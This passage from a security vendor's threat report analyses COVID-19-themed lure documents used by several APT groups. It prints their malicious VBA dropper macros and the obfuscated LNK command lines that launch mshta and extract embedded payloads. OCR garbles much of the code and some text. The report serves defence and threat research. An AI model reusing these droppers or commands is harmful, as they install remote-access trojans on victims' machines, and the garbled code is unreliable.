Figure 18 window.scr
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Hades

kkkk.doc [Compatibility Mode] - Word

brences  Mailings  Review
Q [‘i, [E] One Page = E D View Side by Side DD'—J r
. . . L 3 4 [ L]
Hades is the APT group behind the attack against the Lo 1o EEtvierges || 0 O Blomvoncussaotig | | L0
5 Page Width i oA Reset Window Position  windows = |~
Pyeongchang Winter Olympics. Evidence suggests e
that this group is connected to the well-known Russian
threat actor APT28%.
KopoHasipycHa iHdekuis COVID-19
I n thel r reCent Ca m pa |g n Ca I Ied Trl Cky M OU Se, HadeS CraHom Ha 18 nioTtoro 2020 poky y cBiTi 3apeecTpoBaHo 73 335 nabopaTtopHo
« . . nigTBepmkennx Bunaakis COVID-19, 3okpema 1 873 netanbHi. Oayxano Bxe 12 842
targeted Ukrainian users using COVID-19 lures® ™. ocobn.
i - 81,7% ycix BuNaakie rocTpoi pecripaTopHoi XBOpo6U, CPUYMHEHOT HOBUM
T h €a tta C k Sta rted by sen d in g a macro-em bed d ed KOPOHaBipycoM, 3achiKcoBaHO B oAHil NpoBiHLIT Kutato — XyBeit.
dOCU m ent to VICtI ms (Flg ure 1 9) . Y kpaiHax €Bponu 3apeecTpoBaHo 47 BUNajkie 3axsoptoBaHHs (HiMeuunna — 16;
Dpatuis — 12; Benukobputanis — 9; Itanis — 3; Pocis — 2; lcnania — 2; ®GiHnsHais,
Weeuis Ta Beneris — no 1 unagky).
T h eem bed d ed macro (F i g ure 20) d eCOd es an d d ro ps a B YrkpaiHi 3acikcosaro 5 nabopaTtopHo niatsepakeHunx sunaaku covid-19. B ycix obnacrax
GTBOPEHO TUMYacOoBi NpoTUeniaeMi4Hi KOMIGIT Ta NiAroToBNEHo perioHanbHi NnaHu
1 1 1 ’ H npoTneniaemMivHux 3axoais 3anobiraHHs 3aHeCEHHIO i NOLLMPEHHIO BUNaJKIB 3aXBOPIOBaHHS Ha
RAT executable into the victim’s machine. Tpomeriac
Hapasi Ha kpyisHomy naitbepi Diamond Princess, wo nepebyBae y kapaHTUHi B SNTOHCLKOMY
nopty Vokorama, sacikcosaHo 349 eunaakis COVID-19, 30kpema y ABOX rpomapsH YkpaiHu.
3a 14 1a 15 nioToro Ha naitHepi BusieneHo 133 (114 nacaxupis, 19 YneHiB ekinaxy) HOBMX
BUNaAKIB 3axBOpPIOBaHHS. Bci 0cobyM 3 NO3UTUBHMM pesynbTaTom Bynu BucapeHi i
rocniTanizoBati Ao iHbeKLinHNX NikapeHb.
Figure 19: Hades lure document
244 Private Sub documenT_oPen()
245 Dim CEDA7DS0FCD79C As Variant
246 Dim CBD34DA13F9765654 As Variant
247 For Each CEDA7DS0FCD79C In ActiveDocument.Shapes
248 If CEDA7DY90FCD79C.Name = "Picture 59" Then
249 If CEDATDY0FCD79C.Visible = True Then
250 Application.ActiveDocument.Unprotect "!!!"
251 CEDA7DY0FCD79C.Visible = False
252 Selection.WholeStory
253 [Hselection.Font.Color = -587137025
254 Dim CAXsgeldZjh5T, sécBrémoNavkFl
255 Set CAXsqgeldZjhST = CreateObject(ilp7("4d6963726F736F6 84D4C444F4d"))
256 Set s6cBrémoNavkFl = CAXsgeldZjhST.cREAtEeLeMEnt (ilp7(" ))
257 s6CBrémoNavkF1l.DATAtYPE = ilp7("62686e2E626173653634")
258 s6cBrémoNavkFl.Text = mPculUUSxtMZcPkK
259 Dim MQd11KzocDgb33
260 Set MQd11KzocDgb33 = CreateObject (ilp7("41444f44422F 16d"))
261 MQd11KzocDgb33.Type = 1
262 MQd11KzocDgb33.0Open
263 MQd11KzocDgb33.wrTte s6cBrémoNavkFl.NoDEtyPedvalUe
264 MOd11KzocDab SavVEtofIle Fnviron(ilp7( Seceom) & Jlp7(roce3efcecaef73740F6 2
265 CallByName CreateObject{ilp7(" 37 ")), ilp7{"52756e™), ChGoOUN9, ilp7("é FER20") & Environ (ilp7 (" 10726£66696c65")) & ilp7(
L gfipo, fndhKara¥BetudR
266  Selection.Collapse
267 End If
268 End If
269 Next
270 End Sub
271  Private Function mrbb¥G5zvGl1()
272 mrbb¥G5zvGll = True
273 End Function
274  Private Function fndhKaraYBetudr ()
275 fndhRaraYBetuJR = False
276 End Function
277  Private Function ChGOUNS()
278 ChGOUNS = 1
279 End Function
280 Private Function IBzDnxgfipo ()
281 IBzDnxgfipo |= 0

Figure 20: Embedded m

acro
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The RAT is dropped in the local user directory as “conhost.exe”. That RAT is a .NET executable obfuscated by
“Eazfuscator.net” (Figure 21):

@ dnsp

File  Edit Debug Window Help @ » st P
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b a 0 -
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\ueeez, \uoe3)
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Bitmap bitmap (rectangle. , rectan

(bitmap))
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, num2 - num, num2 - num, num *
, NUM2 - num, num2 - num, num * 2, num
2
(M yStream

bitmap. Save(memoryStream, T

(memor

e)bitmap)

Figure 21: Hades RAT

After de-obfuscation. we saw that the RAT had several functionalities, such as collecting system and user
information, taking screenshots, and logging keystrokes.

The “Kdaapk” module is responsible for performing C&C communications. The C&C URL is hardcoded within this
module as you can see in Figure 22:

@ dns
File  Edit i Debug Window Help @ G b s

Assembly Explorer ~ X Kdaapkd: void

Avvy
[=/]=/]=0]a]

Figure 22: Hades RAT after deobfuscation
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TA505

TA505 is an APT group that started its activity by
distributing the Dridex banking Trojan on mass scale
in 2014". The group is considered unique, as it's a
financially-motivated team of threat actors that uses a
wide variety of malware families.

Starting on March 9th, TA505 used malicious macros
in their COVID-19 themed documents, which included
Microsoft Excel spreadsheets. Figure 23 show such a

document after enabling its content:
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- ]

As you can see in Figure 24, upon opening the
document, a progress bar dialog box pops up
(UserForm1_show). The dialog box is used to confuse the
user while the main malicious functionality is located in
the popped-up dialog box activate function (Figure 25).

E Microsoft Visual Basic for Applications - 13ec7562e8468f693cdd7e591108cbc0981ce 11fe0e251cd7b9fbbc2db8fe34b.xls [design] - [Sem (Code)]

§% File Edit View Insert Format Debug Run Tools Add-Ins Window Help
E&-d a9 3 ®]¥ &% #0003 =
Project - VBAProject & [General) v [
=] B
-8 veAProject (13ec7!
=55 Microsoft Excel OF
3] Pagel
E] Paget1 (Page
Sem
(2 Forms
(73 Modules

Private Sub Workbook Activate ()

If UserForml.Visible = False Then

tratseR 927

End If

End Sub

Public Sub tratseR (dImmer As Long)

Dim Kodak As New WshShell

Dim s As String

Dim GetInfirmityLevelDescription As String

Dim d As Long

d=3
S > d=d-1
Properties - Sem & Select Case d
[sem workbook | ceet
s = "No health problems"

Alphabetic categorized case 1
(Name)  sem - s = "Minor health problems"
Accuracyver:0 case 2

o s = "Major health problems"
(ChangeHistor 0 ' Set Kodak = PopulitySens(UserFormé.ComboBox1.Tag)
ChartDataPoi False Ccase 3

(CheckCompa True
(ConflictResol 1 - xlUserRe
Date1904  False
IDisplayDrawi -4104 - XIDi
DisplayInkCoi True
DoNotPrompt False
EnableAutoR True
EncryptionPrc
Envelopevisil False

5 = "Severe disability"

End Select

Dim SpecialPath As String
PRP = "%" & UserForm6.TextBoxl.Tag
UserFormé.TextBoxl.Tag = Kodak.ExpandEnvironmentStrings (BRP + "3")
UserForm6.TextBox3.Tag = Kodak.SpecialFolders ("" & UserForm6.TextBox3.Tag + "")
ChDir (UserFormé.TextBoxl.Tag)

UserForml.show

Final False End Sub

ForceFullCalc False
Highlightchar False
InactiveListBc True
IsAddin  False
KeepChange! True
ListChangesc False
Password  =*==E=s= v

<

Figure 23: Lure document
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Figure 24: Embedded macro
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When the dialog box is popped up, the “UserForm_
Activate()” function is executed, which calls
“Nlgebredneh()” function:

Private Sub UserForm Activate ()
DoEwvents

DoEwvents

|[NigebrednehC |

DoEwvents

End Sub

Private Sub UserForm Initialize()
Call KeyPropUpdate (Me, False)

End Sub

Figure 25: Trigger function of the dialog box

The “Nlgebredneh()” function drops “paper.xls” in the
“%APPDATA%"” temp directory and extracts “oleobject1.
bin” from “paper.xls”. In the next step, it decrypts the
content of “oleobject1.bin” into “reinforce.dll” in the
“%APPDATA%/Microsoft/Windows/Templates” directory.
Finally, it executes the DLL file.

Public Sub Nigebrednehc ()
Dim sendings As Integer
ctackPap = UserFormé.TextBoxl.Tag
Dim ofbl As String

|cfbl = UserFormé6.TextBox3.Tag + "\reinforce.dll"|
Dim CurrentSizeOfAT As Long
ctackPup = Join(Array(UserFormé.TextBoxl.Tag, "\paper.xlsxz"), ""} |
ctackPop = Join(Array(ctackPap, UserFormé.TextBox3.Value), "")
ctackPip = Join(Array(ctackPup, ".zip"), "")

PublicResumEraseByArrayList ctackPop, ctackPip, ofbl
VistaQ ctackpPup
FileCopy ctackPup, ctackPip
sendings = 1
Dim sNMSP As New Shell
If sendings > 0 And sendings > -30 Then
Set FileWherePutTo2 = sNMSP.Namespace (ctackPap)
Set FileWhersPutTo = sNMSP.Namespace (ctackPip)
FileWherePutTo2.CopyHere FileWherePutTo.Items.Item(UserFormé.Labelll.Tag)
End If
CurrentSizeOfAT = 293376
If Issecond Then
CurrentsizeOfAT = 300000 + 33820 + 4
sendings = 2
End If
Composition ctackPap & UserFormé.Labell.Tag, ofbl, CurrentSizeOfAT, sendings
If sendings > 0 Then
sendings = sendings + 1
ChDir (UserFormé.TextBox3.Tag)
sendings = sendings + 1

End If

If sendings < 100 Then
sendings = sendings + 1
sendings = sendings + 1

End If

PrepareConfigForOutput
If sendings < 0 Then

sendings = sendings + 1
sendings = sendings + 1
End If

Figure 26: The “Nlgebredneh” function

The DLL file is a small downloader that decrypts the next
payload into memory. The downloader drops additional
malware families associated with TA505, such as
banking Trojans and RATSs.
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TA542

TA542 (Mummy Spider) is a Russian-speaking threat
actor group behind the distribution of Emotet, which
was first seen in the wild in 2014, At first, TA542 used
modules from the Feodo banking Trojan, but over time
developed their malware with modular architecture
adding new capabilities.

Since the emergence of COVID-19, TA542 has started
using coronavirus themes in various email distribution
campaigns. Malicious documents distributed by the
actor have embedded macros that act as a downloader
for Emotet malware.

Bitter

Bitter is suspected to be a south Asian APT group
targeting Pakistan and China since 2015™. According
to other security researchers, this group has also used
COVID-19 themes to target China™. Macro-embedded
documents distributed by this group download and
drop a variant of its custom RAT that has been written
in .Net. Unfortunately, we were not able to retrieve any
sample related to this campaign.

Malwarebytes

Ocean Lotus

APT32 (Ocean lotus, Sea Lotus) is a Vietnamese APT that
has been active since 2014.

The group has targeted private sectors as well as
governments and journalists from Australia, Brunei,
Cambodia, China, Germany, Indonesia, Laos, Malaysia,
Myanmar, Philippines, Singapore, Thailand, the US,
and Vietnam. Ocean Lotus has used strategic web
compromises and spear phishing to gain foothold into
victims” machines’®.

Ocean Lotus also used malicious macro-embedded
documents with COVID-19 themes to target China,
starting February 19. In this attack, the malicious
document dropped the “Denis” Trojan, a malware family
that has been developed by this group".
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RTF exploit

RTF is a flexible text format that was introduced by Microsoft a long time
ago. The flexibility of embedding any object type within makes RTF files
vulnerable to many OLE objects related vulnerabilities. Several threat
actors, especially Chinese ones, use RTF files in their campaigns. Among
them are the Calypso group and Winnti threat actors who have used RTF

files in their COVID-19 campaigns.

Calypso Group

Calypso is a Chinese APT group that has been
performing cyber espionage operations since 2016
The group has targeted governments in Brazil, India,
Kazakhstan, Russia, Thailand, Belarus, Mongolia, and
Turkey.

In the new campaign, called Vicious Panada, Calypso
Group has targeted the Mongolian public sector by
sending malicious RTF files to victims disguised as
COVID-19 related documents?°.

The RTF file has been weaponized with the Royal Road
RTF weaponization tool. The tool is known to be used by
several Chinese actors and has the capability to embed
objects within RTF files that exploit vulnerabilities
related to Microsoft Equation Editor. (CVE-2017-11882,
CVE-2018-0798, CVE-2018-0802)?".

In this campaign, the RTF file exploits the equation
editor vulnerability to drop “intel.wll” into the “AppData/
Roaming/Microsoft/Word/STARTUP/” directory (Figure
27). “intel.wll” is then executed each time the Microsoft
Word application is launched. This DLL downloads
additional payloads, including a backdoor with several
capabilities, such as taking screen shots, executing new
processes, or collecting system information.
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Figure 28: RTF file embedding k.dll
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Looking at the Equation Native Stream, we can see that
this DLL is made persistent by using the run registry key
“Microsoft\Windows\CurrentVersion\Run” (Figure 29).

In this case, “k.dll” is executed each time the system
reboots.
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Figure 29: Equation native stream

A code similarity check between “k.dll” and “intel.wll”
showed that both have similar functionalities and the
same exported function named “Engdic”.

Chinese actor (Winnti)

Another Chinese threat actor that used the Royal Road
weaponization framework with a COVID-19 theme
recently dropped a backdoor variant named Chinoxy by
exploiting the equation editor vulnerability?> 2. Some
evidence suggests that Winnti is the actor behind this
campaign, but we cannot confirm it? 2425,
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Malicious LNK files

LNK files are shortcut files used by Microsoft Windows. They are considered
a Shell item type that can be executed. From 2013 on, attackers have

used malicious LNK files to infect their victims. A few APTs started using
malicious LNK with COVID-19 themes from late February to mid-March to
enshare victims.

Mustang Panada

Mustang Panda is a Chinese threat actor that has
targeted NGOs (non-government organizations) since
2017. The group’s main targets are US think tanks and
NGO organizations in Mongolia. Mustang Panda uses
spear phishing emails to initiate its attacks and usually
drops either Poison lvy or the PlugX RAT?6- %7,

In their COVID-19 phishing campaign, Mustang Panda
sent an LNK file containing a malicious HTA application,
which contained a VB script (Figure 30).
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Figure 30: HTA file
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In the properties of this LNK file, there is a command that will be executed when the file is opened (Figure 31).

%cd%) do f%windir:~-3,1%%PUBLIC:~-9,1% /f "delims==" %i
windir:~-1,1%h%TEMP:~-13 ,1%%TEMP:~-7 ,1%.eXe "%i"

$comspect /c f%windir:~-3,1%%PUBLIC:~-9,1% %X in (%temp
in ('dir "%x\03-01-1.1nk" /s /b') do start $TEMP:~-2,61

Figure 31: Command

The command calls “mshta.exe” to execute the HTA application that drops and runs a payload. The payload has a
resource that is dropped in the victim’s machine. The final payload in this campaign is either a variant of PlugX RAT
or Cobalt Strike.

Higaisia
Anomali has reported another threat group called Higaisia using malicious LNK files to perform malicious

operations using COVID-19 themes. The actor sends an LNK file disguised as a PDF via spam campaigns. After
opening the LNK file, an actual PDF file is opened?.

It is assumed that the group behind this campaign is a North Korean actor targeting English speaking people/
organizations®.

Opening the LNK file leads to execution of the command embedded in the property section (Figure 32). The
command decodes an embedded base64 payload and drops it into the victim’s machine.

tsystemReoott\system32\cmd.exe /c cepy "20200308-sitrep-48-covid-19.pdf.Ink" %tmp%\\g4ZokyumBB2gDn.tmp /y&for /r C:\\Windows\\System32\\ %i in (*ertu*.exe)
do copy %1 %tmp%\\msoia.exe /y&findstr.exe "TVNDRGRARA" %tmp%\\g4ZokyumBB2gDn.tmp>%tmp%\\cSilrOuywDNvDu.

Figure 32: Command

The dropped payload is a cabinet file that contains multiple files. The content of the cabinet file is extracted using
the legitimate Windows executable “extract.exe”. From there, multiple stages are executed and finally, a variant of
the PlugX RAT is dropped.
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Conclusion

In this report, we provided an overview of various APT groups using the
COVID-19 pandemic as a theme in several different types of malicious
campaigns to increase the odds of their attacks’ success. This shows that
threat actors are closely monitoring public events happening around

the world, and quickly employing those themes in attack vectors to take

advantage of the opportunity.

We expect that in the coming weeks and months, APT threat actors will continue to leverage this crisis to craft
phishing campaigns using social engineering techniques and other malicious tactics embedded into lure

documents to compromise their targets.

The Malwarebytes Threat Intelligence team is monitoring the threat landscape and paying particular attention
to attacks trying to abuse the public’s fear of the COVID-19 crisis. Our business and consumer customers are
protected from these attacks and more, thanks to our multi-layered detection engines.

For more information about the threat landscape or how our products thwart advanced attacks, feel free to get in

touch with us at intel@malwarebytes.com.
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